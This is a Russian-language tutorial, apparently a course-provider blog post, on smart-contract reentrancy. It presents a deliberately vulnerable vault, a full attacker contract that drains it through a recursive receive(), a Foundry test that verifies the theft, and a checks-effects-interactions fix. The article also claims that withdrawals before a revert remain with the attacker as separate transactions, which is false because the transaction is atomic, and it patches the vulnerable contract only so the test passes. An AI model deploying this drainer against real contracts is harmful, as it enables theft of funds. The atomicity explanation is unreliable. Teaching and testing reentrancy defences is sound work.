Атаки реентерабельности — одна из самых известных уязвимостей в Web3-пространстве, часто приводящая к катастрофическим потерям средств в смарт‑контрактах. Эти атаки используют уязвимости в логике контракта, рекурсивно вызывая функции до завершения предыдущих операций, манипулируя таким образом балансом и похищая эфир (Ether). Эта глава посвящена пониманию, тестированию и автоматизации обнаружения таких уязвимостей с помощью Foundry, мощного Solidity‑фреймворка.
Что мы обсудим в этой статье
Понимание атак реентерабельности: Мы рассмотрим, что такое реентерабельность, включая ее механику и разрушительные последствия, к которым она может привести, если с ней не бороться. В том числе мы подробно рассмотрим функции
fallback
иreceive
, которые часто играют очень важную роль в реализации таких атак.Уязвимый контракт: Мы проанализируем контракт
PiratesGuildVault
, который содержит достаточно тонкую, но критическую уязвимость. Мы препарируем его логику и поймем, почему его реализация склонна к реентерабельности.Вредоносный контракт: Далее мы рассмотрим контракт злоумышленника
TheTraitorWithin
, специально разработанный для эксплуатации уязвимого хранилища. Этот контракт имитирует реальные вредоносные стратегии, используемые в атаках реентерабельности.Автоматизированное тестирование с помощью Foundry: Тестирование — это краеугольный камень разработки защищенных смарт‑контрактов. В этом разделе вы узнаете, как смоделировать атаку реентерабельности с помощью Foundry, автоматизировать процесс тестирования и проанализировать результаты.
Распространенные проблемы и их устранение: После наблюдения за непройденными тестами мы обсудим первопричину этих проблем, в том числе почему атака приводит к исключениям, когда хранилище пусто. Вы увидите, что обработка пограничных ситуаций, хоть и важна для тестирования, но не устраняет саму уязвимость, а лишь помогает тестам работать без сбоев.
Ключевые выводы для разработчиков:
Всегда обновляйте внутренние балансы перед переводом эфира.
Остерегайтесь непредвиденной рекурсии через функции
fallback
илиreceive
.Автоматизируйте тесты, чтобы выявить такие уязвимости, как реентерабельность, на ранних этапах разработки.
К концу этой статьи вы не только поймете, как работает реентерабельность, но и научитесь создавать надежные механизмы тестирования, способные выявлять подобные уязвимости. Благодаря такому практическому подходу вы будете лучше подготовлены к написанию защищенных смарт‑контрактов и предупредите одну из самых серьезных угроз в Web3-разработке.
Что такое уязвимость реентерабельности в Web3?
Реентерабельность (reentrancy) — одна из самых известных уязвимостей при разработке смарт‑контрактов, особенно на Ethereum и других блокчейнах, использующих виртуальную машину Ethereum (EVM). Эта уязвимость позволяет злоумышленнику эксплуатировать контракт, неоднократно возвращаясь к нему до завершения предыдущего выполнения, что часто приводит к неожиданному поведению или, что еще хуже, к похищению средств.
Как работает реентерабельность?
По своей сути, уязвимость реентерабельности возникает, когда контракт переводит эфир на другой адрес до полного обновления своего внутреннего состояния. Это позволяет получателю, обычно вредоносному контракту, выполнить свою собственную логику и снова войти в функцию оригинального контракта, нарушив надлежащий поток его выполнения.
Алгоритм атаки реентерабельности:
Уязвимый контракт (VulnerableContract) позволяет выводить эфир. Пользователь может внести эфир в контракт, а затем вывести свой баланс с помощью функции withdraw.
Злоумышленник развертывает вредоносный контракт (MaliciousContract). Этот контракт предназначен для эксплуатации
VulnerableContract
путем многократного вызова функции withdraw до завершения его выполнения.Начало атаки. Атакующий вызывает withdraw на
VulnerableContract
. Вместо того чтобы просто перевести эфир и завершить транзакцию,MaliciousContract
выполняет свою функциюfallback
илиreceive
для повторного ввода withdraw.Средства сливаются. Поскольку
VulnerableContract
еще не обновил баланс злоумышленника, этот процесс может повторяться до тех пор, пока баланс эфира уязвимого контракта не будет исчерпан.
Что такое функция fallback?
В Solidity функция fallback
— это специальная безымянная функция, которая запускается, когда:
Контракт получает эфир, но не имеет функции
receive
.Вызов функции не соответствует ни одной из функций в контракте.
Функция fallback
выступает в роли «палочки‑выручалочки» и позволяет контрактам обрабатывать неожиданные переводы эфира или вызовы неизвестных функций. В контексте реентерабельности функции fallback
часто используются во вредоносных контрактах для повторного входа в уязвимый контракт.
// Простой контракт с функцией fallbackn
contract Example {
fallback() external payable {
// Логика для обработки неожиданных вызовов или перевода эфира
}
}
Чем receive отличается от fallback?
receive
: представлена в Solidity 0.6.0, срабатывает, когда контракт получает простой эфир (без calldata).fallback
: срабатывает, когда вызов функции не совпадает ни с одной существующей функцией, или когда эфир отправляется сcalldata
, но соответствующей функции не существует.
Если контракт имеет функции receive
и fallback
, функция receive
будет более приоритетной, если эфир отправляется без calldata
.
Переключение передачи: Изучение реентерабельности с помощью Foundry
Foundry — это мощный фреймворк для разработки Ethereum, который набирает популярность благодаря своей скорости, простоте и ориентированности на тестирование на основе Solidity. По мере того как он распространяется, становится все более важным с точки зрения безопасности понимать, как он работает. Он предлагает отличную среду для анализа и экспериментов с уязвимостями вроде реентерабельности, что делает его обязательным инструментом для энтузиастов и профессионалов в области безопасности.
Установка Foundry
Foundry предоставляет инструмент командной строки под названием forge, который является ядром фреймворка. Установка Foundry проста и доступна для большинства платформ.
Установка Foundryup: Foundryup — это программа установки и менеджер версий для Foundry. Чтобы установить его, откройте терминал и выполните следующую команду:
curl -L https://foundry.paradigm.xyz | bash
После установки вам нужно будет добавить foundryup
в PATH:
source ~/.bashrc # or ~/.zshrc, depending on your shell
2. Установка Foundry: После установки Foundryup вы можете установить Foundry, выполнив команду:
foundryup
Это установит forge (инструмент для тестирования и компиляции) и cast (утилита для взаимодействия с Ethereum).
3. Проверка инсталляции: Проверьте, что Foundry установлен, запустив программу:
forge --version
Вы должны увидеть версию установленного Forge.
Настройка проекта
Теперь, когда Foundry установлен, давайте подготовим новый проект, в котором мы будем создавать и тестировать наши контракты.
Инициализация проекта Foundry: Используйте следующую команду для создания нового проекта:
forge init BountyVault
Это создаст каталог с именем BountyVault
со следующей структурой папок:
BountyVault/
├── src/
│ └── Counter.sol # Контракт по умолчанию
├── test/
│ └── Counter.t.sol # Тестовый файл по умолчанию
├── foundry.toml # Конфигурационный файл
2. Структура проекта: Добавьте в папки src/ и test/ свои контракты и тесты. Для нашего примера с реентерабельностью:
BountyVault/
├── src/
│ ├── PiratesGuildVault.sol
│ ├── TheTraitorWithin.sol
├── test/
│ └── ReentrancyExploit.t.sol
├── foundry.toml
4. Скомпилируйте контракты: Скомпилируйте контракты с помощью:
forge build
Разбор нашего контракта Pirate's Guild Vault
Pirate's Guild Vault (сокровищница пиратской гильдии) — это смарт‑контракт Solidity, который служит общим хранилищем эфира, доступным только зарегистрированным членам вымышленной пиратской гильдии. Его структура вращается вокруг трех основных функций: вступление в гильдию, внесение сокровищ и вывод средств. Давайте рассмотрим его структуру и функционал.
Уязвимый контракт
pragma solidity ^0.8.0;
/**
* @title Pirate's Guild Vault
* @notice Общая сокровищница членов пиратской гильдии, куда они могут вносить, а затем забирать свои сокровища.
*/
contract PiratesGuildVault {
struct Member {
uint256 balance;
bool isMember;
}
mapping(address => Member) private guildMembers;
uint256 public totalVaultBalance;
modifier onlyMembers() {
require(
guildMembers[msg.sender].isMember,
"Only guild members can access the vault!"
);
_;
}
/**
* @dev Вступление в гильдию, став ее членом.
*/
function joinGuild() external {
require(
!guildMembers[msg.sender].isMember,
"You are already a member of the guild!"
);
guildMembers[msg.sender] = Member({balance: 0, isMember: true});
}
/**
* @dev Добавление эфира в общую сокровищницу гильдии.
*/
function deposit() external payable onlyMembers {
require(msg.value > 0, "You must deposit some treasure!");
guildMembers[msg.sender].balance += msg.value;
totalVaultBalance += msg.value;
}
/**
* @dev Вывод эфир со счета гильдии.
*/
function withdraw(uint256 amount) external onlyMembers {
Member storage member = guildMembers[msg.sender];
require(amount > 0, "Withdrawal amount must be greater than zero!");
require(
member.balance >= amount,
"Not enough balance in your treasure account!"
);
// Уязвимость: Эфир отправляется до обновления баланса
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send Ether!");
member.balance -= amount;
totalVaultBalance -= amount;
}
/**
* @dev Функция fallback для приема эфира.
*/
receive() external payable {
totalVaultBalance += msg.value;
}
}
В основе контракта лежит структура Member, представляющая отдельных членов гильдии. Каждый Member имеет два атрибута: баланс эфира и статус членства. Эти данные хранятся в mapping, которая привязывает адреса Ethereum к записям членов. Кроме того, контракт отслеживает общее количество эфира, хранящегося в хранилище, посредством переменной totalVaultBalance
.
struct Member {
uint256 balance;
bool isMember;
}
mapping(address => Member) private guildMembers;
uint256 public totalVaultBalance;
Чтобы обеспечить эксклюзивность гильдии, введен модификатор OnlyMembers
. Этот модификатор гарантирует, что только зарегистрированные члены гильдии могут выполнять определенные функции. Если к этим функциям попытается получить доступ не член гильдии, контракт выдаст сообщение об ошибке.
modifier onlyMembers() {
require(
guildMembers[msg.sender].isMember,
"Only guild members can access the vault!"
);
_;
}
Управление членством осуществляется с помощью функции joinGuild
. Эта функция позволяет адресу зарегистрироваться в качестве члена гильдии, если он еще не состоит в ней. После добавления адрес инициализируется с нулевым балансом и помечается как член гильдии.
function joinGuild() external {
require(
!guildMembers[msg.sender].isMember,
"You are already a member of the guild!"
);
guildMembers[msg.sender] = Member({balance: 0, isMember: true});
}
Члены гильдии могут внести свой вклад в общую сокровищницу, добавляя туда эфир. Функция deposit
гарантирует, что только члены гильдии могут вносить средства. Она также проверяет, что сумма вклада больше нуля, а затем обновляет баланс члена гильдии и общий баланс сокровищницы. Эта функция играет важную роль в поддержании целостности общего хранилища.
function deposit() external payable onlyMembers {
require(msg.value > 0, "You must deposit some treasure!");
guildMembers[msg.sender].balance += msg.value;
totalVaultBalance += msg.value;
}
Вывод сокровищ не менее важен, чем их ввод. Функция withdraw
позволяет членам гильдии получить внесенный ими эфир. Эта функция проверяет, что сумма вывода валидна и что у пользователя достаточно средств. Эфир переводится члену гильдии, а затем уже обновляется баланс.
function withdraw(uint256 amount) external onlyMembers {
Member storage member = guildMembers[msg.sender];
require(amount > 0, "Withdrawal amount must be greater than zero!");
require(
member.balance >= amount,
"Not enough balance in your treasure account!"
);
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send Ether!");
member.balance -= amount;
totalVaultBalance -= amount;
}
Наконец, контракт может получать эфир напрямую через свою функцию receive
. Эта функция срабатывает всякий раз, когда эфир отправляется на адрес контракта без указания какой‑либо функции. Это гарантирует, что сокровищница сможет принимать средства даже вне структурированных депозитов.
receive() external payable {
totalVaultBalance += msg.value;
}
Стратегия использования уязвимости сокровищницы
Чтобы воспользоваться уязвимостью в сокровищнице гильдии пиратов, мы используем классическую атаку реентерабельности. Эта атака манипулирует последовательностью операций в функции withdraw
, позволяя нам неоднократно выводить средства до того, как контракт обновит баланс пользователя. Используя этот недостаток, злоумышленник может украсть из сокровищницы весь эфир. В этом разделе мы разберем стратегию и представим вредоносный контракт, выполняющий атаку.
План использования уязвимости
Атака реентерабельности основана на критической ошибке в функции withdraw
сокровищницы. В частности, перевод эфира пользователю происходит до обновления его баланса. Такая последовательность позволяет злоумышленнику реализовать следующую стратегию:
Проникновение: Злоумышленник сначала регистрируется как легитимный член гильдии, используя функцию joinGuild в сокровищнице.
Подготовка: Злоумышленник вносит в сокровищницу небольшое количество эфира (например, 1 ETH), чтобы обеспечить себе баланс для вывода средств.
Триггер: Злоумышленник вызывает функцию withdraw, чтобы вывести внесенный им эфир. Когда эфир отправляется злоумышленнику, срабатывает функция receive сокровищницы.
Реентерабельность: Вместо того чтобы просто получить эфир, злоумышленник использует функцию
receive
для повторного вызоваwithdraw
, повторяя контракт с сокровищницей, прежде чем баланс будет обновлен. Этот процесс повторяется в цикле, опустошая сокровищницу по частям.Очистка: Как только сокровищница опустеет, злоумышленник останавливает цикл реентерабельности и забирает украденный эфир.
Вредоносный контракт: TheTraitorWithin
Для осуществления этой атаки мы развернули специализированный вредоносный контракт под названием TheTraitorWithin
. Ниже приведено описание его компонентов и функционала.
Вредоносный контракт
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./PiratesGuildVault.sol";
contract TheTraitorWithin {
PiratesGuildVault public targetVault;
address public traitor;
bool public heistInProgress;
// События отладки
event BankDebug(string message, uint256 value, uint256 vaultBalance);
event FallbackTriggered(
string message,
uint256 value,
uint256 vaultBalance
);
constructor(address payable _vaultAddress) {
targetVault = PiratesGuildVault(_vaultAddress);
traitor = msg.sender;
}
// Злоумышленник тайно присоединяется к банку в качестве доверенного лица.
function infiltrate() external {
require(
msg.sender == traitor,
"Only the traitor can infiltrate the bank!"
);
emit BankDebug(
"The traitor infiltrates the bank",
0,
address(targetVault).balance
);
targetVault.joinGuild(); // Злоумышленник вступает в гильдию как легитимный член
}
// Злоумышленник инициирует ограбление
function executeHeist() external payable {
require(
msg.sender == traitor,
"Only the traitor can execute the heist!"
);
require(
msg.value >= 1 ether,
"The heist requires at least 1 ETH to proceed!"
);
// Лог в начале ограбления
emit BankDebug(
"Heist begins: depositing funds into the vault",
msg.value,
address(targetVault).balance
);
// Внесение эфира в сокровищницу
targetVault.deposit{value: msg.value}();
// Лог после пополнения счета
emit BankDebug(
"Funds deposited, preparing for reentrancy attack",
msg.value,
address(targetVault).balance
);
// Начало кражи через реентерацию
heistInProgress = true;
// Вывод суммы депозита, чтобы запустить реентерацию
targetVault.withdraw(msg.value);
// Обеспечение правильного завершения ограбления
heistInProgress = false;
}
// Злоумышленник собирает добычу после ограбления
function claimLoot() external {
require(
msg.sender == traitor,
"Only the traitor can claim the stolen loot!"
);
emit BankDebug(
"The traitor claims the stolen funds",
address(this).balance,
address(targetVault).balance
);
payable(traitor).transfer(address(this).balance);
}
// Использование receive для продолжения атаки
receive() external payable {
emit FallbackTriggered(
"Receive triggered during heist",
msg.value,
address(targetVault).balance
);
if (heistInProgress && address(targetVault).balance > 0) {
targetVault.withdraw(1 ether); // Continue withdrawing funds in small chunks
}
}
}
Конструктор TheTraitorWithin
инициализирует личность злоумышленника и устанавливает контракт целевого хранилища. Конструктор гарантирует, что злоумышленник идентифицирован как развертыватель контракта и что он взаимодействует с указанным уязвимым хранилищем.
constructor(address payable _vaultAddress) {
targetVault = PiratesGuildVault(_vaultAddress);
traitor = msg.sender;
}
Функция infiltrate
позволяет злоумышленнику присоединиться к хранилищу в качестве легитимного члена. Вызвав функцию joinGuild
на PiratesGuildVault
, вредоносный контракт получает привилегии члена хранилища, создавая основу для атаки. Он также выдает отладочное событие, чтобы зафиксировать факт проникновения.
function infiltrate() external {
require(
msg.sender == traitor,
"Only the traitor can infiltrate the bank!"
);
emit BankDebug(
"The traitor infiltrates the bank",
0,
address(targetVault).balance
);
targetVault.joinGuild(); // Злоумышленник вступает в гильдию как легитимный член
}
Функция executeHeist
инициирует атаку, сначала внося эфир в хранилище. Это позволяет контракту выглядеть как легитимным. Как только депозит внесен, она запускает вывод средств, чтобы использовать уязвимость реентерабельности. Флаг heistInProgress
гарантирует, что функция receive
будет знать, когда продолжить эксплуатацию уязвимости.
function executeHeist() external payable {
require(
msg.sender == traitor,
"Only the traitor can execute the heist!"
);
require(
msg.value >= 1 ether,
"The heist requires at least 1 ETH to proceed!"
);
emit BankDebug(
"Heist begins: depositing funds into the vault",
msg.value,
address(targetVault).balance
);
targetVault.deposit{value: msg.value}();
emit BankDebug(
"Funds deposited, preparing for reentrancy attack",
msg.value,
address(targetVault).balance
);
heistInProgress = true;
targetVault.withdraw(msg.value);
heistInProgress = false;
}
В этом эксплойте функция receive
во вредоносном контракте стратегически используется для перехвата передачи эфира во время процесса вывода средств. Это позволяет злоумышленнику многократно вызывать функцию withdraw
уязвимого контракта каждый раз, когда вредоносный контракт получает эфир. Таким образом, атака зацикливается, истощая баланс хранилища до полного исчерпания.
Вот реализация функции receive
во вредоносном контракте, демонстрирующая, как она поддерживает цикл атаки:
receive() external payable {
emit FallbackTriggered(
"Receive triggered during heist",
msg.value,
address(targetVault).balance
);
if (heistInProgress && address(targetVault).balance > 0) {
targetVault.withdraw(1 ether); // Продолжаем выводить средства небольшими частями
}
}
Проверка уязвимости в сокровище гильдии пиратов
В этом разделе мы используем Foundry для автоматизации процесса проверки уязвимости реентерабельности в контракте Pirate's Guild Vault. Мы воспользуемся возможностями Foundry, чтобы не только выполнить эксплойт, но и убедиться в том, что уязвимость успешно использована.
Проверка эксплойта
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../src/PiratesGuildVault.sol";
import "../src/TheTraitorWithin.sol";
contract TraitorInBankTest is Test {
PiratesGuildVault public vault;
TheTraitorWithin public traitorContract;
address public traitor = address(0x123);
address public victim = address(0x456);
function setUp() public {
// Обеспечим злоумышленника и жертву эфиром
vm.deal(traitor, 10 ether);
vm.deal(victim, 5 ether);
// Развертывание уязвимого контракта
vault = new PiratesGuildVault();
// Развертывание контракт злоумышленника с его адреса
vm.prank(traitor);
traitorContract = new TheTraitorWithin(payable(address(vault)));
// Жертва присоединяется к хранилищу и вносит средства
vm.startPrank(victim);
vault.joinGuild();
vault.deposit{value: 5 ether}();
vm.stopPrank();
}
function testTraitorHeist() public {
// Убедитесь, что хранилище имеет ожидаемый баланс перед атакой
assertEq(
address(vault).balance,
5 ether,
"Vault initial balance incorrect"
);
// Злоумышленник проникает в хранилище через свой вредоносный контракт
vm.startPrank(traitor);
traitorContract.infiltrate();
// Злоумышленник совершает ограбление
traitorContract.executeHeist{value: 1 ether}();
traitorContract.claimLoot();
console.log("Final balance of the traitor:", traitor.balance);
// Проверка баланса после ограбления
assertEq(address(vault).balance, 0 ether, "Vault balance not drained");
assertGt(
address(traitor).balance,
10 ether,
"Traitor did not gain expected funds"
);
vm.stopPrank();
}
}
Подготовка тестовой среды
Для начала мы создали тестовую среду, в которой развернули как уязвимый контракт (PiratesGuildVault), так и вредоносный контракт (TheTraitorWithin). Тестовая среда имитирует реальный сценарий, назначая две роли: жертву, которая вносит эфир в хранилище, и злоумышленника, который использует вредоносный контракт для эксплуатации уязвимости хранилища.
function setUp() public {
// Обеспечим злоумышленника и жертву эфиром
vm.deal(traitor, 10 ether);
vm.deal(victim, 5 ether);
// Развертывание уязвимого контракта
vault = new PiratesGuildVault();
// Развертывание вредоносного контракта с адреса злоумышленника
vm.prank(traitor);
traitorContract = new TheTraitorWithin(payable(address(vault)));
// Жертва присоединяется к хранилищу и вносит средства
vm.startPrank(victim);
vault.joinGuild();
vault.deposit{value: 5 ether}();
vm.stopPrank();
}
Этот сетап обеспечивает точную имитацию реального применения эксплойта. Жертва кладет в хранилище 5 эфиров, а злоумышленник получает необходимые ресурсы для осуществления атаки. Успех подтверждается, когда баланс атакующего увеличивается с 10 до 15 эфиров, что свидетельствует о том, что хранилище было опустошено.
Проведение атаки
Следующий шаг — симуляция атаки с помощью тестовой функции. Злоумышленник начинает с проникновения в гильдию, чтобы вступить в нее как легитимный член, что является необходимым условием для взаимодействия с хранилищем.
traitorContract.infiltrate();
После успешного присоединения злоумышленник совершает ограбление, внося в хранилище 1 Ether и сразу же запуская атаку реентерации, чтобы украсть все средства.
traitorContract.executeHeist{value: 1 ether}();
После завершения атаки злоумышленник получает украденные средства по своему вредоносному контракту:
traitorContract.claimLoot();
Проверка результатов
Наконец, тест проверяет, удалось ли использовать уязвимость, сравнивая баланс хранилища и конечный баланс злоумышленника с ожидаемыми значениями.
// Verify balances after the heist
assertEq(address(vault).balance, 0 ether, "Vault balance not drained");
assertGt(
address(traitor).balance,
10 ether,
"Traitor did not gain expected funds"
);
Эти утверждения гарантируют, что хранилище было полностью опустошено, а злоумышленник успешно завладел средствами.
Разбор ошибок в тестах
Когда мы выполняем тест с помощью Forge, мы сталкиваемся с ошибкой во время симуляции атаки реентерабельности. На выходе мы видим исключение с сообщением об ошибке: «Failed to send Ether!». Эта проблема возникает из‑за поведения атаки реентерабельности после того, как из хранилища будет выкачан весь эфир. Давайте разберемся с этим.
forge test -v
forge test -vvv


Почему возникает исключение
Во время рекурсивной атаки вредоносный контракт постоянно вызывает функцию withdraw уязвимого контракта (PiratesGuildVault
). Каждый рекурсивный вызов успешно выводит эфир из хранилища, пока его баланс не достигнет нуля. Однако проблема заключается в том, как реализована функция withdraw.
После того как хранилище полностью опустошено, атака не сразу прекращается из‑за повторного вызова функции receive
во время эксплойта. Ключевая проблема заключается в том, как поток исполнение возвращается к уязвимому контракту. После каждой итерации функции receive
управление возвращается к исходной функции withdraw
, которая продолжает выполняться, как будто в хранилище все еще есть средства. Это приводит к попыткам вычесть эфир из уже пустого баланса, что в итоге вызывает исключение.
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send Ether!");
В данном случае контракт пытается перевести эфир, хотя баланс хранилища равен нулю. В результате:
Арифметическое переполнение: Когда функция пытается вычесть amount из
member.balance
иtotalVaultBalance
, она сталкивается с состоянием, когда вычитание приводит к отрицательному числу. Арифметические операции Solidity в таких случаях выбрасывают исключение.Неудачная передача эфира: Поскольку в хранилище больше нет эфира, операция перевода (call) завершается ошибкой, что приводит к возврату функции с сообщением: «Failed to send Ether!».
Наблюдение за ошибками при тестировании
Результаты Forge‑теста наглядно демонстрируют эту проблему. После слива всего эфира рекурсивная атака продолжается, и уязвимая функция терпит неудачу при попытке вычесть остатки баланса или перевести эфир. Это поведение наглядно видно в трассировке:
Эфир выкачивается рекурсивно, пока баланс не достигнет нуля.
Дальнейшие рекурсивные вызовы приводят к возврату из‑за арифметических ошибок или неудавшихся переводов.
Решение проблемы в уязвимом контракте
Чтобы тест не провалился таким образом, мы можем модифицировать функцию withdraw
уязвимого контракта, чтобы обработать пограничные случаи, когда баланс недостаточен для перевода. Можно добавить следующую условную логику, чтобы предотвратить выполнение, когда баланс уже исчерпан:
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send Ether!");
if (member.balance > 0 && totalVaultBalance > 0) {
member.balance -= amount;
totalVaultBalance -= amount;
}
Вот как работает эта логика:
Вычитание
member.balance
иtotalVaultBalance
выполняется только в том случае, если их значения больше нуля.Это гарантирует, что контракт не попытается вычесть отрицательные остатки, тем самым предотвращая арифметическое переполнение.
Если мы запустим тест после внесения изменений, то увидим, что злоумышленник успешно сливает эфиры из хранилища, в итоге у него оказывается значительно больше эфира, чем он изначально вложил, несмотря на то, что в начале он внес в хранилище всего 1 ETH.

Я хотел обратить внимание на эту ошибку, потому что она является важной деталью для понимания того, как работает система транзакций Ethereum и почему тестирование в реальной сети ведет себя иначе, чем в контролируемой среде.
В реальной сети, если во время транзакции возникает исключение, например, попытка вывести эфир с пустого баланса, вся транзакция будет отменена. Это означает, что злоумышленник не сможет сохранить эфир, который он пытался вывести в данной конкретной транзакции.
Транзакции Ethereum работают атомарно, а это значит, что если какая‑либо часть транзакции завершится неудачей (например, выбросом исключения), сеть полностью вернет состояние к тому, которое было до начала транзакции. Это включает в себя отмену всех переводов эфира, сделанных во время транзакции.
Однако если атака уже израсходовала эфир в предыдущих итерациях до того, как возникло исключение, эти успешные переводы останутся у злоумышленника. Каждый успешный вызов функции withdraw рассматривается как отдельная независимая транзакция и не может быть отменен задним числом. Исключение затрагивает только ту транзакцию, в которой произошла ошибка, оставляя ранее похищенные средства нетронутыми.
Устранение уязвимости реентерабельности
Теперь, когда мы изучили, как работает эта уязвимость, и проверили ее в действии, пришло время сосредоточиться на ее устранении, чтобы обеспечить безопасную работу смарт‑контракта. Атаки реентерабельности полагаются на последовательность операций, поэтому наша главная цель — перестроить уязвимую функцию, чтобы предотвратить рекурсивные вызовы.
Паттерн “Проверки-Эффекты-Взаимодействие”
Паттерн «Проверки‑Эффекты‑Взаимодействия» (Checks‑Effects‑Interactions) — это хорошо известная лучшая практика в разработке смарт‑контрактов. Он включает в себя:
Проверки: Проверяйте условия ввода и соблюдение правил в начале функции.
Эффекты (изменения данных): Обновите переменные состояния контракта, чтобы отразить предполагаемые изменения.
Взаимодействия: Передавайте эфир или взаимодействуйте с внешними контрактами только после обновления переменных состояния.
В контексте контракта PiratesGuildVault
уязвимость возникает из‑за передачи эфира вызывающей стороне (msg.sender) до обновления баланса пользователя и общего баланса хранилища. Чтобы исправить это, мы должны убедиться, что балансы обновляются перед передачей эфира.
Вот обновленная функция withdraw
, в которой реализовано исправление:
function withdraw(uint256 amount) external onlyMembers {
Member storage member = guildMembers[msg.sender];
require(amount > 0, "Withdrawal amount must be greater than zero!");
require(
member.balance >= amount,
"Not enough balance in your treasure account!"
);
// Обновление баланса перед передачей эфира
member.balance -= amount;
totalVaultBalance -= amount;
// Передача эфира после обновления состояния
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Failed to send Ether!");
}
Почему это исправление работает
Обновление состояния в первую очередь: уменьшая баланс перед передачей эфира, любые реентерабельные вызовы, выполняемые злоумышленником, не пройдут проверку require, так как баланс больше не будет соответствовать требуемым условиям.
Защищенное внешнее взаимодействие: Передача эфира происходит только после полного обновления состояния контракта, что позволяет разорвать цикл, обеспечивающий реентерабельность.
Еще немного лучших практик
Хотя паттерн «Проверки‑Эффекты‑Взаимодействия» значительно снижает риск реентерабельности, разработчикам также следует:
Использование ReentrancyGuard:
ReentrancyGuard
OpenZeppelin
— это утилита, которая предотвращает реентерабельные вызовы, блокируя функцию во время выполнения.Избегать call при переводе эфира: Используйте
transfer
илиsend
, которые обеспечивают фиксированные затраты газа, хотя в некоторых сценариях для лучшей совместимости может потребоватьсяcall
.Проводить аудит и тестирование: Обеспечьте тщательное тестирование, например, автоматизированные тесты, которые мы демонстрировали ранее, чтобы убедиться, что уязвимость устранена.
Заключение
Атаки реентерабельности подчеркивают критическую потребность в методах написания защищенного кода при разработке смарт‑контрактов. В этой главе было показано, как возникают эксплойты реентерабельности, как их тестировать с помощью Foundry и почему для надежной защиты необходима автоматизация.
Основные выводы
Главная причина уязвимости: Атаки реентерабельности используют отправку эфира перед обновлением переменных состояния, что позволяет рекурсивным вызовам взимать средства больше допустимого.
Тестирование в действии: Моделирование атаки с помощью Foundry позволило обнаружить уязвимость и подчеркнуть важность автоматизированного тестирования для реальных сценариев.
Превентивные меры: Применение паттерна «Проверки‑Следствия‑Взаимодействия» и обновление переменных состояния перед передачей уменьшает этот риск.
Понимая и устраняя такие уязвимости, как реентерабельность, разработчики могут создавать более защищенные и устойчивые смарт‑контракты, способствующие повышению надежности и доверия к децентрализованным системам.
Ресурсы
Foundry — быстрый, модульный и портативный фреймворк для Ethereum. Документацию Foundry можно найти по адресу: https://book.getfoundry.sh/.
Solidity — язык для разработки смарт‑контрактов. Документацию Solidity можно найти по адресу: https://docs.soliditylang.org/.
Атаки на реентерабельность — понимание и предотвращение реентерабельности. Документацию «Solidity: Security Considerations» можно найти по адресу: https://docs.soliditylang.org/en/v0.8.0/security‑considerations.html#re‑entrancy.
OpenZeppelin — библиотеки безопасных смарт‑контрактов. Документацию по контрактам OpenZeppelin можно найти по адресу: https://docs.openzeppelin.com/contracts.
Ethereum — блокчейн‑платформа с открытым исходным кодом для смарт‑контрактов. Документацию Ethereum можно найти по адресу: https://ethereum.org/en/whitepaper/.
Тестирование смарт‑контрактов Ethereum — лучшие практики с Foundry. Соответствующую документацию можно найти по адресу: https://book.getfoundry.sh/tutorials/testing.
В завершение всех желающих приглашаем на бесплатные открытые уроки по Solidity, которые пройдут в марте в Otus:
11 марта: Обзор инструментов и методик.
Получите актуальные знания об инструментах и методах разработки смарт контрактов для EVM. Записаться19 марта: Создание смарт-контракта на Solidity.
Пошаговое руководство по созданию простого смарт-контракта, деплой контракта в тестовую среду, примеры взаимодействия с контрактом. Записаться